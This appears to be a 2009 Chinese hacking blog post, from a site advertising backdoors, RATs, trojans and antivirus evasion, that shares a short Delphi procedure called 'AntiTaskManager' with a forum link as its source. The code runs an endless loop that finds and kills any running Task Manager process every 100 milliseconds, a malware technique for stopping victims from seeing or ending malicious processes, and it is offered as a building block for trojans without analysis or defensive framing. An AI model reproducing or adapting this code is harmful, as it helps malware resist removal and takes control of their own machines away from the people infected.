☆Obaby's H4cking W0rld☆

Hack-Crack==Backdoors - RATs - Trojans // Binders-Packers - Rootkits

破解-黑客-零日漏洞-灰鸽子/上兴/PCShare-木马免杀-网站入侵-信息安全

2009年3月2日星期一

Anti-TaskManager

Procedure AntiTaskManager;
var
pe32:TProcessEntry32 ;
hProcess, hTask:Thandle;
begin
pe32.dwSize := sizeof( PROCESSENTRY32 );

while 1 < 2 do
begin
hProcess := CreateToolhelp32Snapshot( 2, 0 );
Process32First( hProcess, pe32 );

while Process32Next( hProcess, pe32 ) do
begin

if Pos( 'taskmgr.exe' , pe32.szExeFile ) <> 0 then
begin
hTask := OpenProcess( PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID );
if hTask <> 0 then
TerminateProcess( hTask, 0 )
else break;
end;
end;

Sleep( 100 );
end;

CloseHandle( hTask );
CloseHandle( hProcess );

end;

Link:http://unkn0wn.ws/board/viewtopic.php?f=83&t=16754

0 评论:

发表评论